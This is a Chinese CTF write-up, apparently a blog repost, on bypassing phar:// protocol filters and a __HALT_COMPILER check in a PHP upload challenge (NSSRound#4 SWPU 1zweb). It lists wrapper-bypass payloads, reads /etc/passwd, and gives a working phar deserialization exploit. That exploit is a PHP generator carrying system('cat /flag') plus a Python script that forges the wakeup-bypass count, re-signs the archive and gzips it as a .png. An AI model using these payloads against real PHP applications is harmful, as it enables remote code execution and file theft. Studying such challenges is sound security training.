phar绕过phar与HALT实现文件上传功能

作者:偶尔躲躲乌云334 时间:2023-05-25 06:47:36 

前面也讲过一次phar文件上传的东西,但是那都是过滤比较低,仅仅过滤了后缀。

知道今天看到了一篇好的文章

如果过滤了phar这个伪造协议的话,那还是比较简单的

if(preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){

die(); }例如这样进行了过滤

绕过的话,我们可以用各种协议进行绕过

1、php://filter/read=convert.base64-encode/resource=phar://test.phar

//即使用filter伪协议来进行绕过

2、compress.bzip2://phar:///test.phar/test.txt

//使用bzip2协议来进行绕过

3、compress.zlib://phar:///home/sx/test.phar/test.txt

//使用zlib协议进行绕过

当如果__HALT_COMPILER被过滤了

PHP通过__HALT_COMPILER来识别Phar文件,那么出于安全考虑,即为了防止Phar反序列化的出现,可能就会对这个进行过滤,示例代码如下

因为phar是通过这个来判断是不是phar文件,而不是通过后缀来判断,所以我们可以随便的更改后缀而不会影响效果

这里的办法:是将生成的Phar文件进行gzip压缩

gziptest.phar

cat test.phar.gz

例题: [NSSRound#4 SWPU]1zweb

phar绕过phar与HALT实现文件上传功能

打开题目以后,第一眼只是觉得是上传文件的漏洞,可是上传都不太行。

让我改变了一个思维,试了一下 /flag万一呢,eee

phar绕过phar与HALT实现文件上传功能

竟然出了,那就看看下一道进阶题,估计是出题人忽略了这个

[NSSRound#4 SWPU]1zweb(revenge)

这道题出题人就进行了限制

phar绕过phar与HALT实现文件上传功能

因为是前提的一个提示,所以我觉得也不会是单纯的文件上传漏洞

这时候试一下/etc/passwd,有没有任意文件读取漏洞,前面做过的一道题用到了这个。

phar绕过phar与HALT实现文件上传功能

果然有,那就读取一下源码index.php,和upload.php上传文件

<?php
if ($_FILES["file"]["error"] > 0){
   echo "上传异常";
}
else{
   $allowedExts = array("gif", "jpeg", "jpg", "png");
   $temp = explode(".", $_FILES["file"]["name"]);
   $extension = end($temp);
   if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
       $content=file_get_contents($_FILES["file"]["tmp_name"]);
       $pos = strpos($content, "__HALT_COMPILER();");
       if(gettype($pos)==="integer"){
           echo "ltj一眼就发现了phar";
       }else{
           if (file_exists("./upload/" . $_FILES["file"]["name"])){
               echo $_FILES["file"]["name"] . " 文件已经存在";
           }else{
               $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
               fwrite($myfile, $content);
               fclose($myfile);
               echo "上传成功 ./upload/".$_FILES["file"]["name"];
           }
       }
   }else{
       echo "dky不喜欢这个文件 .".$extension;
   }
}
?>

限制了后缀只能是,gif,jpeg,jpg,png格式,并且过滤了HALT_COMPILER(), 所以这道题的考点就是绕过这个

<?php
class LoveNss{
   public $ljt;
   public $dky;
   public $cmd;
   public function __construct(){
       $this->ljt="ljt";
       $this->dky="dky";
       phpinfo();
   }
   public function __destruct(){
       if($this->ljt==="Misc"&&$this->dky==="Re")
           eval($this->cmd);
   }
   public function __wakeup(){
       $this->ljt="Re";
       $this->dky="Misc";
   }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
   if (preg_match("/flag/", $file)) {
   die("nonono");
   }
   echo file_get_contents($file);
}

这个反序列化,是简单的,仅仅是绕过wakeup就可以,考点并不在这里,发现没有serialize这个的参数,而且有文件上传并且file_get_contents可以触发phar序列化,所以确定了需要phar.

这里就出现了一个问题,phar如何绕过wakeup呢,如何把属性值加1呢,我们先不考虑这些,先写出phar 文件来

<?php
class LoveNss{
   public $ljt;
   public $dky;
   public $cmd;
   public function __construct(){
       $this->ljt="Misc";
       $this->dky="Re";
       $this->cmd="system('cat /flag');";
   }
}
$phar = new Phar('quan9i.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$a = new LoveNss();
$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

这个比较简单,就直接过了,然后就需要考虑我们以上的问题了

import gzip
from hashlib import sha1
with open('D:\\phpstudy\\quan9i.phar', 'rb') as file:
   f = file.read()
s = f[:-28] # 获取要签名的数据
s = s.replace(b'3:{', b'4:{')#更换属性值,绕过__wakeup
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
#print(newf)
newf = gzip.compress(newf) #对Phar文件进行gzip压缩
with open('D:\\phpStudy\\newquanqi.png', 'wb') as file:#更改文件后缀
   file.write(newf)

找到我们生成phar的文件目录,只读

因为我们改变了phar里面的内容,wakeup属性值,所以需要重新生成一个标签

phar绕过phar与HALT实现文件上传功能

就会直接生成一个png的文件,我们直接上传然后phar协议读取

phar绕过phar与HALT实现文件上传功能

来源:https://blog.csdn.net/qq_62046696/article/details/127195593

标签:phar,文件上传,HALT,phar
0
投稿

猜你喜欢

  • 实现一个获取元素样式的函数getStyle

    2009-02-10 10:37:00
  • 实现有批量删除功能的ASP留言板

    2007-10-31 07:27:00
  • HTML在线编辑器任意设置字号大小

    2007-08-29 19:55:00
  • 如何禁止搜索引擎收录你的网站

    2008-10-20 12:57:00
  • 安装PHP遇到“无法载入mysql扩展”解决方法

    2007-06-15 15:04:00
  • asp随机提取access数据库记录的几种方法

    2007-09-06 19:42:00
  • Microsoft JET Database Engine 错误 '80040e21' 所有记录中均未找到搜索关键字

    2009-08-30 13:07:00
  • MySQL中随机生成固定长度字符串的方法

    2010-12-08 16:25:00
  • Check In和Check Out的多人协作管理

    2007-02-03 11:39:00
  • js动态显示当前日期,时间和星期代码

    2007-08-14 12:31:00
  • Dreamweaver4使用技巧之--为你的站点定做颜色

    2010-09-05 21:12:00
  • SQL Server 数据库索引其索引的小技巧

    2012-07-11 15:55:02
  • asp上传文件自动重命名方法

    2007-08-24 09:46:00
  • sql如何在Access中选择指定日期前的记录?

    2010-06-17 12:47:00
  • 用CSS实现柱状图(Bar Graph)的方法(三)——复杂柱状图的实现

    2008-05-26 13:36:00
  • WIN2003无法上传较大的文件Request对象错误解决方法

    2007-08-10 09:44:00
  • 不唐突的JavaScript的七条准则[翻译]

    2008-12-09 13:33:00
  • 鼠标双击滚动屏幕单击停止代码

    2008-02-21 11:44:00
  • 网页设计进阶之一 (步骤和大局观)

    2008-08-23 10:39:00
  • SQL Server 置疑、可疑、正在恢复等情况分析

    2012-01-05 18:51:59
  • asp之家 网络编程 m.aspxhome.com